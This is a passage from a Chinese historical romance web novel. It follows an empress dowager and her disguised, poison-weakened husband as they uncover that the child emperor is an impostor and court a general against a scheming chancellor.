立政殿内,上官栩同样地因为荀阳的那番话而烦忧。 荀阳细致地给她讲述了他那三年在五岩山上疗养的日子。 “他是因被带毒的匕首刺中才中的毒,又加上他上岸之后还与人有过拼杀,受伤之后更是加速毒性对他身体的侵蚀,所以最开始,他几乎是去鬼门关走了一趟。” “后来,好不容易撑到五岩山,但也因为长途跋涉,身体太虚弱,致使第一次拔毒没有成功。” “至于第二次……” “那时,他派出去的人刚将那年事情的始末查清楚,亦将所有的细节都告诉了他,也正因如此他拼凑了出来一个让他无法接受的结果——他以为害他的人中有娘娘,且娘娘是其中主谋之一。” “所以那一次拔毒也失败了。” “而第三次,则是因为他改换容貌。” “那时,我本劝他待到拔毒结束之后再行易容之事,然而他道,易容之后新的身份需要他花时间去坐实,而京中的事多耽误一日以后解决起来就多麻烦一分,所以他在第三次拔毒前易了容,可易容刮骨,哪有说得那么轻松。” “至于这第四次到底能不能成功,我也并不能给出肯定的答案,只是前些日子,他告诉我他已出现了如鼻衄一样,许多以前从未有过外露症状,便说明他体内的毒已经又对他的身体侵蚀深入几分了。” “所以下一次拔毒至关重要。” 上官栩将荀阳说过的那些话在脑中又重复了一遍,她致力于求得真相,可是如今当真真正正地将他过往里面所遭受的种种了解到之后,她却除了痛心之外想不到任何能够帮到他的方法。 “娘娘!娘娘!” 正当上官栩苦思时,青禾从外边高声喊边疾步进来。 上官栩定下神,抬眼问:“什么事?” 青禾:“陛下晕倒了。” 上官栩一下站起身:“叫太医了么?” 青禾颔首:“叫过了,徐大人当时还让人去叫了荀大夫来。” 上官栩奇怪:“他怎么和陛下在一起?” 他不是应当在准备神策军的事么? 青禾只道:“听说是去给陛下授课的。” 上官栩没再多问,而是抓紧往小皇帝那儿赶去。 —— 小皇帝上课的殿内,太医和荀阳在榻前给小皇帝诊脉医治。 “情况如何了?陛下可有大碍?”上官栩赶来后直接进入内殿到了榻前询问。 她亦一眼看到了站在一旁的周景知,二人视线对上了几息。 太医先起身回她的话:“娘娘放心,陛下没有大碍,只是刚才一时受到了刺激,这才一下没受住晕了过去,待歇一歇便好了。” “怎会受刺激?”问这话时,上官栩不知为何跟着看了周景知一眼。 太医一直垂着头,自然未去多看,只说当时的情况他也并不清楚。 而周景知在她望去时便一直回应着她的目光,她看见他向他走来,于她身前停下。 他道:“娘娘,臣有话要与您说。” —— 二人寻了间无人的偏殿。 行至殿内深处时,上官栩柔声问:“刚才到底发生了什么事,怎么陛下就晕倒了?还有,你如何想起来现在入宫为陛下授课?” 周景知眸光幽静地看她几息,先道:“你可还记得阿筝说的她有一个弟弟的事?” 见他此时提起此事,上官栩有些不明所以,但也应道:“当然记得,可是你近日得到什么相关的消息了?” “嗯。” “她弟弟找到了?!” 周景知目色复杂道:“可能吧。” 见他态度奇怪犹疑,上官栩便更为不解,然而也不待她再问,他便继续道:“但在此之前,我还要告诉你一件事情。当今陛下,非是三哥的孩子。” 轰的一声,上官栩瞬间怔住。 周景知将当年的事情一句句告诉她:“那年元日,三哥因身体原因没有赶至京城贺岁,但他送了一封信来,信中写到他自知自己时日不多,所以便对膝下不过才三四岁的孩子放心不下,而那时让他忧心的便是那孩子的先天不足之症。” 上官栩:“什么先天不足之症?” 周景知:“难辨红绿。” 上官栩便立马回想起现如今的小皇帝从未有过这样的症状。 而周景知继续道:“那时三王兄府中的医师都对此症束手无策,于是他便写信向我求助,想着我身边或许有能够医治此症的圣手。” “然而当时太医院中的资历最深的太医和荀子阳都给出了同样的答案——当下,这就是不治之症。” “所以在最初,我制作皮影时也多用了有利于得此症者辨别的颜色,只因我认为 陛下是三王兄的孩子,直到,我看见了陛下做的那幅山水花鸟画——” “那样五彩斑斓的画卷,绝不可能是由一个难辨红绿的人能够独立做出来的。” 周景知停下来看她片刻,再道:“再说回阿筝弟弟的事,阿筝今日又给我讲了些,她说她弟弟曾因她父亲的原因在三岁时就被选入了赵王府,做了赵王世子的侍读,与赵王世子同起居,而就在赵王世子进京那段时日,阿筝的父亲带着他们一家人去了洛州隐世,但唯独少了她的弟弟。” “阿筝告诉了我一个至关重要的信息,她的弟弟手臂有一道因被烫伤而留下的痕迹。” 上官栩惊目:“可是在左手小臂上?” “嗯。”周景知道,“那年,阿筝的弟弟没有与他们一家同行,只她父亲说他有了一个好的去处,同时,他们一家归隐,却又在归隐之后惨遭灭门,今日我入宫,想看的,就是当今陛下手臂上是否也有那样一道被烫伤留下的伤痕?” “果然,我看到了。而他今日晕厥,亦是因为当我问他那伤疤由来时,他脑中突然生痛,一下痛晕了过去。” 周景知凝眸问上官栩:“所以你说这其中最大的可能是什么?” 殿内,浮尘在微光中起伏,亦如现下上官栩的思绪般杂乱无章。 她整理好久才似接受那荒诞道:“所以阿筝的弟弟就是陛下?而他们一家之所以遭遇灭门,也是因为她的弟弟顶替了赵王世子的身份?” “而作为灭门案的为祸者苏望,亦有极大可能就是主导这场‘狸猫换太子’的幕后主事?” “那真正的赵王世子呢?”想到那可怜的结果,上官栩内心惶恐不安,“他那时不过才四岁,苏望想要掌控朝局,谋弑主君,再扶立一个四岁的孩子登基还不够?他还要混淆宗室血脉,好待日后有所挟持才能安心?” 周景知眸静如潭:“也许他最初没有这样的想法,可是如今在进京的路上,原本的世子出意外了呢?” 他幽声问:“你知道当年的三王兄是因何而逝的么?” “又为何那年就恰好,所有的事情都凑到了一起呢?” 第82章 对于赵王染病离世的事,上官栩不是没有过怀疑。 当初赵王病重的消息传入京城时她便觉得这一切都来得太急,从他身体开始抱恙到一病不起也不过一月的时间,然而就是这样的急症医师竟也看不出个所以然来,只说风邪侵体所致。 然而赵王自小就身强体健,亦算是马背上长大的马上王爷,焉能这就般说被病邪打倒就打倒。 上官栩压着那大胆的猜想,问周景知道:“你可是查到了什么?” 周景知眸光在她眉眼流转几许,垂了眸,点头“嗯”了声:“当年三哥非是因风邪入体而病重,而是因为被人下了毒。” 他抬眼看她:“苏望要做的是要把朝权紧握在自己手里,所以他光杀了我远远不够,他还要一个可以控制的新君,然而当时父皇的后代里,除了我就是三哥、五哥还有三哥的孩子了。” “我那时无子嗣,我若驾崩自然就只能从宗室中选择继承者,而按照礼法,继承者要么入我一脉,要么就需得是父皇一脉的孩子,所以依照苏望想要达成的目的,他一定会选择前者,但是选前者就有一个问题——生父。” 周景知吸叹一口气后继续道:“按照正常的发展来说,就算赵王世子过继到了我的名下,赵王也应还在世,且仍是一位手握实权、镇守边北要塞的亲王。” 听到这里,上官栩开了口,沉吟道:“皇帝生父,为有实权的边境藩王,那么往往执掌朝权的就是皇帝的生父而非朝内的宰相。就算三哥没有摄政的想法,可是苏望也绝不可能允许这种可能存在。” 周景知颔首:“所以他最先下手的人是三哥,确定下任皇帝能够完全得他掌控后,然后再是我。” “只是他没有想到的是,在他对三哥下毒的那些日子里,与三哥朝夕相伴的世子也受到了伤害,也致使世子在入京的途中出了意外。” 上官栩喃声:“那一切就都对得上了。阿筝的弟弟作为与赵王世子同起居的侍读,自是与世子言行有诸多相似之处,又年纪相仿,是最适合替代他的人选,且他年纪又小,对许多事情本就记得不清晰,只要后面善加引诱,他自己潜意识中就会将自己的身份默认为别人想让他认为的。” 周景知轻声:“他今日回想起往事时反应那样强烈,恐怕不只是言语上的引诱,还遭受过一些药物上的操控。” 这消息来得太突然,上官栩蹙着眉摇了摇头:“没想到,苏望为了一己私欲竟能做到这样的地步,阿筝一家被灭门,想来和此事脱不了关系,那其他的人呢?”她惶恐地向他看去,“那些曾在赵王府内贴身照顾世子的人是否也……或者说只要见过赵王世子的人都是否都如阿筝他们一家一样?” 周景知凝眸深深地看着她,点了头:“我也是在查阿筝身世时才知道,那些所谓各奔前程、另择了良主的王府中人其实都在世子被替换不久后就被杀害了,外院的或许还好,但是内院的……无一幸免。” 上官栩眼睫颤了颤,又咬牙道:“果然,在他眼里,人命如草芥,如蝼蚁。” 周景知道:“所以这一次,我们一定要将他的恶行昭告天下,让他再无行恶的可能。” 上官栩眉头紧锁,低低地应了声。 如今,和几年前相比,局势大变,对于和苏望的斗争,上官栩并不觉得他们会像以前那样被动,相反,她亦觉得自己有底气去拿下这场胜利,然而现在,她担心的是另外一件。 “你的身体……最近还好么?”她缓缓掀起眼帘,向他的目光迎去。 “怎么会突然这样问?”周景知对她的话有些疑惑,他以寻了借口将他身子的情况掩饰了过去,按理说她不应该再突然问这话。 上官栩也不知该如何说起,她虽已从荀阳那儿了解到了他所向她隐瞒的事,然而她站在他的角度想却也能够想明白他为何要如此做。 况且荀阳说,拔毒成功与否与被拔毒者的身心情况紧密相连,而她若在他面前挑明了可会加重他心中负担? 上官栩便垂眸先道:“只是想起你与我说的你身上还残留着余毒的事,便一直放不下心罢了。” 周景知笑了下,微微弓身,双手扶住她的双肩,用令人无比安心的语气说道:“真的不用担心,我身上余毒虽未拔尽,但是一直以来我用着缓毒丹,身子也与常人无异。况且子阳的医术你也见过,他都如此厉害,你想想他那要为我拔毒的师父又会厉害到什么程度?反正我是丝毫不担心的,只安心等拔毒那日到来,静待毒除。” 在她面前说起这些事时他总是这样一幅轻松模样,可是她分明知晓其中的真相,所以他表现得有多轻松,那她便知道他独自承受的有多少。 上官栩终是没忍住:“荀子阳已经将一切都与我说了。” 刹那间,他脸上的笑意瞬间消散,转而变得有些无措、慌张。 而她依旧一目不错与他的双目对视道:“我知道你将那些事情隐瞒是不想我担心,然而你又因此多承受了多少呢?当初你在知晓真相之后依旧不与我相认,不就是因为你害怕那最坏的结果到来,进而再一次经历生离死别么。可是这些本就该是我们一起承受的啊。” 她看着他此刻慢慢泛起酸意的的眼眸:“你也说了,我们是在一起的,那为什么明明我就在你身边,你却还要将一些苦楚独自承担下来呢?而最后若真的是那最坏的结果到来,那你觉得那时的我就不会伤心,不会痛苦了么?” “我……” 她轻抬起手,在他想要 辩驳时按在他的唇上,她柔声继续道:“你可是想说,起码在那结果到来之前我是无忧的、放松的?可是我不想这样。我明白,在这件事情上,你有你的顾虑,但我亦有我的坚持。” 她垂眸一瞬,再抬眼时眼底已泛起泪光,眼中也红了一圈:“正如你说过的,我已经失去你一次了,所以这一次的重逢,不管你我之间会发生什么,哪怕点滴,我都不想错过。”她目光坚定无比,“哪怕最后的结果真的那样不尽人意,但是我想,在此之前我们都应该不留遗憾。” “失而复得后再失去固然痛苦,但是你更是与我心意相通的郎君,我不想在你最关键的这段时日里让你去承担一切,而因此成全我去做那‘无忧之人’,此行路上,无论酸甜苦辣,我们都该一起分受。” 话落,她扬了扬眉,带着泪的双眼含起笑望着他。 他心绪复杂回了笑:“你说得对,我们是夫妻,是携手同行、共历风雨的人,喜乐也好,苦难也罢,都该一起分受着,不该如我之前那样为了那短暂的无忧而将真相隐瞒于你,不然那亦是对你的不公。” “所以,”他站直身子,面泛笑意却又正式无比,“接下来的日子,就有劳夫人陪同我这个病弱之人治病疗伤吧。” 见他故作正经的模样,上官栩不由得失笑:“你这话倒来得快,也不见你之前想通,非还得让我去绕那么一大圈,给你费这么多口舌。” 他目色真诚,继续打趣道:“诶,我此刻能够领悟自然是全靠的夫人的点拨啊,若无夫人金口玉言,我恐怕现在还在那思维的泥沼中转不出来呢。” 上官栩眼嗔他,更是要忍不住抬手打他,可是下一刻她就被他揽腰抱住。 她腹部与他紧贴,双臂抵在他的肩下,感受着他的心跳,她诧异地看着他,而他目色已经柔软下来。 他温和的声音和他含情的目光一起笼下:“因为那几年的遭遇,其实失而复得的那种喜悦或许我才是更患得患失的那个,所以因此我对许多事情都有了诸多顾虑,我深知其中的痛苦,便也不想你如我一样再在那种患得患失中遭受折磨,然而我却忘了,于我们之间最重要的还有一点,就是并肩。” “栩儿,幸好有你点醒我,不然我不知道我又要蹉跎多少我们之间的时光。”他笑了笑,眸光熠熠,随笑流露,“往后余生,那样的傻事我不会再做。” 放在他肩前的手掌往上抚去,上官栩唇角轻漾,又俏皮道:“那我拭目以待?” 他亦从善如流:“随时检验,定不会让夫人失望。” 静了瞬,目光流转往复,他俯了身,她仰了颈,唇瓣慢慢地贴合在一起,由情而动,由心而许。 扣在腰间的掌心愈发灼热,原本抵在肩前的手也慢慢滑到了后背,衣料被拢住,被攥紧,那些喜乐和安心都随着血液的涌动融进了这绵长的吻里。 不知过了多久,徐卿安被鼻下的凉意触回了神,他睁了眼,亦慢慢卸力退开。 上官栩亦因他的动作从缠绵中醒过神来。 然而下一刻便是大惊失色。 上官栩呼吸还未放平:“你又流鼻血了!” 她想起荀阳提到他近日多次鼻衄的事,掏出锦帕后只随意替他擦了几下就要拉着他去寻大夫。 “等等。” 可是他却不动,反是捂着鼻子站在原地,有些委屈道:“你好歹也等我擦干净了再出去啊。” 上官栩无奈,觉得此刻还是看大夫更紧要些,然而他若实在不想走她也拉不动他,便只能先任他擦拭着,又问道:“你现在可有其它不适?之前就听说你这段时间已经流过好几次鼻血,恐怕又是你体内余毒在作祟,便还是趁荀子阳和太医都在的时候赶过去让他们看看吧。” 周景知保持手上的动作,锦帕和手掌近乎将他下半张脸遮挡完全,只露出他上半部分的眉眼,他声音嗡嗡地说:“这流鼻血的原因还是挺多的,也不一定就是那毒的问题。” 上官栩蹙了眉,云里雾里。 周景知见了,眼神飘忽一瞬,又低下了往身下看去:“也可能是……” 上官栩想起刚才亲吻时他的反应,霎时红了脸,这次真没忍住打了他肩膀一下,嗔道:“都什么时候了,还说这些!” 这次她不再由他,直接拉起了他的手往小皇帝那边赶去。 —— 京城外,距离长安城十几里的西山下,苏尚骑着马立在官道间。 他高坐马上,气质清贵,一言不发地听着由几百步外传来的阵阵马蹄声。 直到来人勒停马匹在他面前停下。 “苏大人?” 苏尚微微扬头,唇角浅浅带起笑意:“节帅,好久不见。” 第83章 临近午时,京城内,各家饭店酒肆人来人往,食客络绎不绝。 当下,长安城中最为气派,人气最旺的酒楼万鹤楼,来往之人数尤盛。 周景知坐在最上层的阁楼上,从内窗往下看,能将大方一楼大厅一览无余。 他看见一个身姿魁梧的人,衣着华贵又束着护腕的人踏进了酒楼内。 那人往上看,亦是一眼看见了他。 二人相识一笑,短暂中透着轻视。 不久后,周景知所处的阁楼房门就被打开。 “徐侍郎邀本帅来此是有何事要与本帅说啊。” 厚重的脚步踏进房间的同时,那雄厚的声音也一同响起。 周景知刚抿好一口茶,茶盏放下,悠悠往房门处看去——来的正是刚才在楼下与他相望的那人。 亦是本次回京述职的神策军行营节度使,霍甘。 周景知放下茶盏之后并未起身,只是唇角挑起笑,向对坐的位置抬手道:“节帅到了,快请入座,下官刚泡好的茶,正想等节帅到时请节帅品一品呢。” 神策军将首虽也称节度使,但因神策军驻军在京畿,虽主要目的是为了拱卫京师,然而也难保势大之后会有生异的时候,所以自其组建以来,朝廷便通过各种压制的手段将其严格掌控在手中,自然这神策军行营节度使权力也就比不过地方上的节度使了。 然而它仍有独属于它的威慑力。 霍甘架子也端得足,坐下之后,手支在案上,就看着周景知给他倒茶,也不伸手去接:“徐侍郎还没说到底有何事呢。” 周景知动作不疾不徐,慢慢将茶盏推过去:“节帅才行了路,不如就先品茶吧,也好好润润喉,至于下官要说的事,节帅一边品茶一边听就好,不耽误您喝茶。” 霍甘闻言不由得从心地笑了笑。 要知道,现下他眼前这个人可是官拜四品的中书侍郎,虽然官阶不如他,但那官职却是实打实地中枢要职,更是未来相公的候任之职。 那人任着这样的职位还能这般恭敬客气相待他,他着实不得不另眼相看几分。 他便听了那人的话,拿起了茶盏准备品一品这香气沁脾的新茶:“之前在回京路上曾大致了解了一下这段日子京里发生的大事,其中我更是多次听闻了徐侍郎的事迹,所以在那时便想有无可能与徐侍郎当面一叙,结识一番,没想到今日果然就实现了。” “所以徐侍郎说,巧不巧?”茶盏碰到唇瓣,霍甘手腕带动,沿着杯口一点点地将茶水呷入口中,然而他目光却一直落在对坐之人的脸上。 周景知装作没察觉到他的审视,垂眸笑道:“能得节帅挂念,实乃下官之幸。”说完,他切入正题道,“今日邀节帅来日,是下官有关神策军的事想与节帅说。” 霍甘含笑着将茶盏放下,懒洋洋道:“你想说的可是支度使兼任之事?” 他看着对坐之人,见那人果然眉头跳了一下,霍甘便有些得意地继续道:“这事情已经有人给我说了,他果然说得没错,进京之后京中会有人向我提起此事, 而他指出的人也没错,果然就是你,中书省的徐侍郎。” 周景知问:“是礼部的苏大人找的您?” 霍甘眸光亮一下,诧异之中又带着些惊喜:“之前就听传言说过,新晋的徐双元,在诸方面都能与未及弱冠就位列朝中要职的苏大人一较高下,今日得见,果然如此。” “你二人还真是都将对方心思摸透了。”话至此处,霍甘也干脆承认道,“找我的的确是他。只是他不止与我说了这一件事,他还向我介绍了与徐大人诸多相关之人。” 周景知立时掀起眼帘,目光直直地向他射去。 霍甘笑:“徐大人和宫里的那位走得近吧?所以徐大人今日来找我也是宫里那位的意思?” 周景知冷声:“这样不好么?不对您来说更是个保障?” “不不不,这当然不是个保障。”霍甘否定得干脆,“你们如今要拉拢我,无非就是因为你们与苏相之间的斗争,然而这事与我有何关系?我本就已是节度使,谁输谁赢,我又能拿到多少好处?” 周景知目光幽深:“神策军拱卫京畿,直控于朝廷。” 霍甘:“那只是拱卫京畿,听令朝廷,我如今所为并无错漏之处。至于陛下……有羽林卫在,他们才是保护陛下的。” 周景知冷冷笑两声:“节帅这些账倒是算得清楚。” 霍甘受下这话:“不仅这些账算得清楚,其它账我也算得清楚,我可以在你们之间站队,然而以历代君主和将领之间的史鉴来看,我靠向你们,反而是给以后自己埋下刀子。” “想必徐侍郎也知道,自神策军成立以来,朝廷就对其有多般掣肘,先是节度使、营田使、支度使三使分立,再是除监军外,又有定期述职、轮将一说,如此繁复的手段,不过就是因为朝廷要彻底掌控神策军,而这其中最主要安的亦是那位朝廷之主、一国之君的心。” “而虽说现在主君年幼,他没有这样复杂的心思,但是作为代为其权力的太后娘娘就没有么?所以啊,我若真听了徐大人你的话,跟了太后娘娘,现下虽的确能拿些好处,但以后,等到你们想除的那个人倒台了或者死了,那下一个该清算是不是就是我了?” 对于这些直入要害的问题,周景知似笑非笑地看着对坐之人:“这些话,可是因为节帅听了旁人的进言?” 霍甘垂眸默了默,想着对聪明人没有绕弯子的必要,便道:“对。” “又是那位苏大人?” “没错。” “而且他开的价码也徐大人给的高。”霍甘停了停,压沉声音道,“他给的可是节度使可身兼营田使和支度使的价码。” 营田使掌屯田,支度使掌军需,三使合一即为军财合一,让节度使更有了拥兵自重的底气。 这的确是极具诱惑的筹码。 可是周景知却笑了。 霍甘沉脸:“你笑什么?” 周景知笑道:“我笑节帅看得清君将关系,却看不清朝堂之上历来权柄的周旋之计。”他正色下来,“我就只说一个人——前任金吾卫大将军,薛弘。” 霎时间,霍甘便觉周身紧张了起来。 周景知道:“薛弘是什么下场您也看到了,所谓君将关系其实抛开看,就是上下统属之间的关系,所有在下者的权力威胁到在上者,从来都逃不过被制衡、被清算的命运。” “您说您顺应了太后娘娘是在给自己的以后的埋祸,那么您顺应了另一方人就是在给自己找退路了?再者说,您也知道三使合一对于一军来说的意义,那一方就能这么干脆地给您?他成事以后难道发出号令的地方就不在京城了?” “还有!”眼见着对坐之人要开口辩驳,周景知赶忙抢先道,“下官从来没有讲过,今日下官找您是要说支度使的事,下官要说的是平、营两州的事。” —— 立政殿内,上官栩半躺在美人榻阖目歇息,伴着清幽兰香气,她听见了从外殿而来的脚步声。 一点点靠近,行进间衣料摩挲的声音也愈发明显。 她唇边勾起笑。 脚步声淡下,下一刻,她感受到榻中位置沉了下,腰上覆上沉厚的暖意。 他一手搭在她腰间,一手撑在她身旁,俯身到她脸颊前:“怎么又在这里睡了?这样半躺着可舒服?” “舒服啊。”她喟叹着睁了眼,“都办好了?” 他轻点了头:“当然。果然如你所料,苏叙白提前找了他,还引导了他往君臣间忌惮、兔死狗烹的那些事上想。” 她目色平静柔软,眼尾微带笑:“怎么只光说我,这不也是如你所料?” 他眉头跳了下:“正想问这问题呢,你怎么就这么了解他?他想什么你都能猜到。” 上官栩眼眸觑了觑,瞬间明白了他的意思,然而她却又不急不忙地用手背支起脸颊,在他的视线笼罩下,好整以暇地向他看去:“你说呢?那几年你不在,可不就是他一天到晚在我面前来去了?这日子久了便终归会多些了解嘛。” 周景知压低了头,迎着她的笑有些威胁意味地盯她:“你明知我想听的是什么,你还故意这样回我?” “你想听什么?”她装作不知,又道,“你总不能几年不见变小气了吧?” 周景知欲言又止,足足对要回她的话想了片刻,然来就这样想来想去时,却见她在这期间戏谑的目光不住往他身上投来,便干脆挑了眉道:“是啊,就是小气了,或者说我本来就不大气。” 他向她靠近,暖柔的气息喷洒交互,双唇距离不过咫尺,他压低声音说话时,还时不时会与她发生触碰:“当初你送我那只兔儿灯的时候我就记下了,你那时就叫他七哥哥。” “你说,你应该怎么补偿我?” 第84章 面对那促狭中带着醋意的脸,上官栩没忍住撇了脸笑了出来,可是长而劲的手指落在她的脸颊,又不费力地将她转了回去。 周景知挑眉:“嗯?” 他在追问他刚才对她的问题。 上官栩脸被他轻捏着,颊边软肤被微微拢起,她便有些无奈地扬起眉,说道:“怎么补偿?都是少年时期的事了,那时两家来往密切,少不得便要有些称呼,而他年长于我,恰好那时也没取字,我便总不能直呼他姓名吧?” “还有啊,既然这么久远的事你都能拉出来与我要补偿,那我是否也能和你算算账,找你要几份补偿?” 周景知:“哦?” 上官栩抓下他的手,拉到怀里若有若无地按着,她目光往下落了几息,再含笑地抬起如有春水荡漾的眼眸。 她道:“你回来之后先是误会我,再是对我隐瞒身份,期间恐怕还有其他想法吧?可是有想过要教训我?” 周景知瞬间垂下眼,闷咳了一声。 而上官栩还在继续笑道:“你看,这几件事可比你提的那件,时间要近得多啊,你又该怎么补偿我呢?” “我……”周景知支吾又局促道,“这几件事的缘由你不都已经知道了……” 上官栩好整以暇:“知道不代表就这样放过,况且,这事不也最先是你挑起来的?”她笑他,“怎么?挑到你自己身上了你便要赖账了?” 周景知怔然片刻,终是埋头失笑:“不赖账,本就是我过错。”他抬头看她,“那你可曾想好了让我还什么?” 他柔软如有星河的目光落在她的眼中。 她仰头,轻松地叹一声,双手又揽上他的脖颈,眼底漫着温软澄澈的光:“便还我,你往后岁岁都平安无虞,长长久久与我相伴。” 他莞尔,应了声“好”。 他手掌从上往下,慢慢抄过她的背部将她扶起,目光锁定,二人距离始终那般近。 然而当她坐起来时,他也正色下来,说起了刚才在万鹤楼中的事情:“霍甘比人重私利,就算他在我们与苏式之间选择中立,但只要神策军在他手中,他早晚 也会想要借靠兵权做大,这样的人,断不能对其放任。” 记得当时在万鹤楼时,周景知曾对霍甘说道:“节帅应该也知道,若想真在军中站稳脚跟,只靠现有的帅职远远不够,唯有用军功立身,有了威望才行。” 周景知一边为霍甘续着热茶一边说道:“然而如今天下太平,内无匪患外无强敌,想要立军功便是难了。” 霍甘眉头紧蹙,似有所察:“可是你提平、营两州是什么意思?” 茶水倾注声泠泠,周景知抬起眼瞧去,唇角勾起:“下官方才提到军功立身,自然提到的这两州便是与那军功相关的了。”他开门见山道,“据探子报,平、营两州有异,有数千乌合之众预谋叛逆之事,太后娘娘正在想选择从哪里派兵去征讨。” 霍甘一下握紧了拳:“这么大的事我怎么不知道?” 周景知:“这事也是刚送入京城的消息,来信是娘娘手下的人而非朝廷中人,也因那叛军还未起事,所以也没有八百里快马急报,此事不是节帅不知道,而是整个京城里知道的人就屈指可数。” “那你现在为何要告诉我?” “因为这就是下官今日邀您一聚的理由啊,亦是娘娘拿出来的诚意。” 周景知从容说道:“节帅说得对,人心难测,防人之人不可无,所以节帅担心势大之后会成为上属之人的人眼中钉也是正常,娘娘也考虑到了这一点,所以为了安您的心,她要送的是能长久傍身能让您扬威的军功。” “而届时,只要您有用军功立身,便再也不用再担心鸟尽弓藏,兔死狗烹了,到时就算有人想动您,也要问问三军将士同不同意啊,节帅,您说是不是这个道理。” 茶香缕缕往上,四周静谧,唯有楼下客人往来的热闹虚虚传入,阁楼内二人对坐,各有盘算。 —— 衣料摩挲声沙沙,上官栩从美人榻上垂放下双腿,又起身站起,往旁走了几步。 “所以他是应了?” 周景知跟着站了起来走到她身边,拉过她的手,玩弄着她的袖摆道:“应是应了,但我想他应是两边都会应,他想要平叛的军功,也想要三使合一的权力,而他亦不知道我们与苏式到底谁是胜者,所以他也两边都不得罪,两边都要好处。” 上官栩沉吟:“如此也好。” 周景知悄悄抬起眼看她,见她沉思时认真的模样,目中满是温柔,如星河在水,唇角也不由得跟着翘起。 “你笑什么?” 上官栩发现了他的小动作,有些不解地问。 周景知眼尾唇角笑意便也不遮掩了:“没什么,就是觉得这样看着你,心里很舒服。” 听他这么说,上官栩似笑似嗔地睨了他一下:“和你说正事呢,怎么又想其他的去了。” 他轻轻眨眼,笑意不减:“放心,听着的。” 说完,他又不禁垂下眸笑了下,然而再抬眼时,目光却落在了正前方那高挂着的、没有展开的画卷上。 不过一瞬间,上官栩便察觉到了他的视线所落之处,她微有失色,连忙道:“这段时日一直未曾到侧室里来,便也没让人来收拾,我这就去将它取下来。” “不用。”他一下拉住她的手腕,目光在那画卷上停留几息后向身旁的人看去,神色虽有落寞之意,但声音依旧温和道:“就放在那儿吧。” “可……” “那不本就是我以前还在宫里时专门为我所绘的吗,缘何我回来了就要取下?” 他对她一笑,说得真诚道:“就留下吧,你看我现在这样子总得留下些什么不是?不然以后我该怎么回忆我以前的模样?” 他向她挑眉,她不由得一笑。 “你这是觉得自己长得好?被自己的样貌折服了?” “难道我长得不好?” 上官栩眉毛扬停了许久,边说边缓点头道:“等改日有空了,我定要让荀子阳好好给我讲讲,那几年你在山上一天到晚都在做什么,怎么回来之后偏就油腔滑调起来。” 周景知也扬眉:“问他做什么,我都站在这儿了,你直接问我便是。” “你会给我说?” “当然,绝无保留。而且……你若偏要寻那缘由,我又不是没有告诉过你。” “你什么时候告诉过我?” 周景知无奈又别有意味的眼神向她看去,道:“我告诉过你啊,我向你学的。” 上官栩瞬间回想起来,又不由得被他气笑道:“我以前可不是这样,我可不认。” 周景知点头,爽快“嗯”声:“当然可以不认,反正我认就行。” 上官栩忍无可忍,直接上手去挠他腰间,他任她动作却也装出反抗模样,就打打闹闹地连连往后退。 直到退到那方桌案上。 “咚”的一声,腰背抵到案边,他上身一下仰停,她向前碰撞上他的胸膛。 他握着她双手手腕放在身前,在她关切的话问出前抢先道:“我没事,没有碰到。”又转头,往身后的桌案上看去,只见那只木盒还在一侧放着,“那盒子里的红绳倒是可以让人拿走了。” 他语气酸酸的,只因想到那手绳被旁人戴过,他便觉得有些不舒服。 非是因为他觉得,这些年她倾注在这上面的感情感觉被他人沾染了去,而是因为那本该全部属于他的感情却竟是由他亲手抛下,让里面掺杂了几分旁人的气息。 可是这手绳却又是她亲手编织,是她当年带着最美好的祈愿送给他,为他亲手戴上的。 他实在有些痛。 “正想问你怎么打算呢,原来你早就想好了。” 怀中传来女郎温婉的声音,他转过脸俯眼看去。 上官栩仰脸瞧他,对他笑:“不过你这话倒是正和我意。” 她在他讶异的目光下站直身,又走向那木盒处将那盒子拿到他面前:“你打开看看。” 周景知依旧有些不解,然而他亦乖乖听了话,就将盒子接过,再打开。 里面是一条崭新的红绳! 颜色款式与之前那条完全一致,不过仔细上,细节上却是更精致了些。 他向她望去。 她弯眸莞尔,又从他手中将那盒子拿过放到桌上,再从中取出了那根红绳。 她不过轻轻扶了扶他的手,他便配合地将手举在半空任由她动作。 她一边为他系上一边说道:“倒是许久没有做这样的手工了,不过好在也没生疏。” “之前那条红绳便也该随往事过去了,而这一条也如那一条一样。”她抬眼,如有星河闪烁的眸光与他怔松带暖的视线相接,一字一句道,“祈愿你能平安。” “这次路上,一路平安。” 手上的红绳被系好,他一下将他抱去怀中,下颌抵在她肩背上。 他闭了眸,语气却又无比坚定:“等我回来。” 这次,一定回来。 第85章 周景知离开京城那日只带了两个侍卫随行,而他驾马行到京城十里外时却发现竟有人早已在此等候。 和他一样,三人三马。 周景知勒停马,翘首往对面为首之人那处看去。 苏尚端坐在马上,纵然身下的马因刚才那阵地面震动而脚下有了动作,但他作为骑马之人却也能纹丝不动,稳住身姿。 勒马之后,周景知没有多余寒暄的:“你在等我?” 苏尚勾了下唇,边遛着马上前一段,边道:“听闻你此行路途遥远,我作为同僚自然是不舍你走得太孤单冷清的,便也就来送送你。” “不过下趟江南而已,也没有很远。” “出了京便是远路。” 风声呼呼,树叶轻摇,斑驳的阳光照在地上,马匹上,以及人的半张脸上。 风过之后,一阵静谧停在人群之间。 “那便是远路吧。”周景知笑了笑,并未在那话上与他多纠缠,“怎么?是苏大人许久未出过远门, 现下一听闻我要下江南,便想让我给你在江南的朋友带信去?” 苏尚的神情终于在此时有了变化,他蹙眉道:“我在江南有什么朋友?” 周景知歪了歪头,无辜道:“这话,苏大人不应该问自己么?你在江南有哪些朋友我焉能得知,或者说你们苏家在江南有哪些朋友我焉能得知?” 说着,他又笑:“不过,我虽不知晓苏大人到底与哪些人交好,但好在江南世家所居之处都离得近,这次又都被押到了一处,苏大人若想给多个人传信,这次倒是最为方便的时候。” 江南世家变天,那些原本依附苏望的旧势力全部被上官栩拉拢的新势力寻到错处,其中更是有不少触犯到了律法的,被官府控制了起来。 苏尚自然知道眼前之人说的是何事。 而他一如既往道:“那些事与我无关,我从不参与。” 周景知点点头,一脸半信半疑模样:“那我就将这些话转达给那些人。” 苏尚握紧了缰绳,然而只一瞬,他便又带起笑:“好啊,徐大人可一定要替我将这话带去。” 凝眸静了瞬,周景知颔首:“一定。”又呼吸一口气,道,“苏大人今日来说是要送我,如今话也聊了,也算送过了罢?可否让个路?” 苏尚三人停在路中间,两两之间距离也拉得够宽,就完全将前路挡下。 苏尚轻笑道:“徐大人莫急,我今日来送你非是为了与你叙刚才那些闲话,我是真有话要与你说。” “哦?” “我替你不值。” 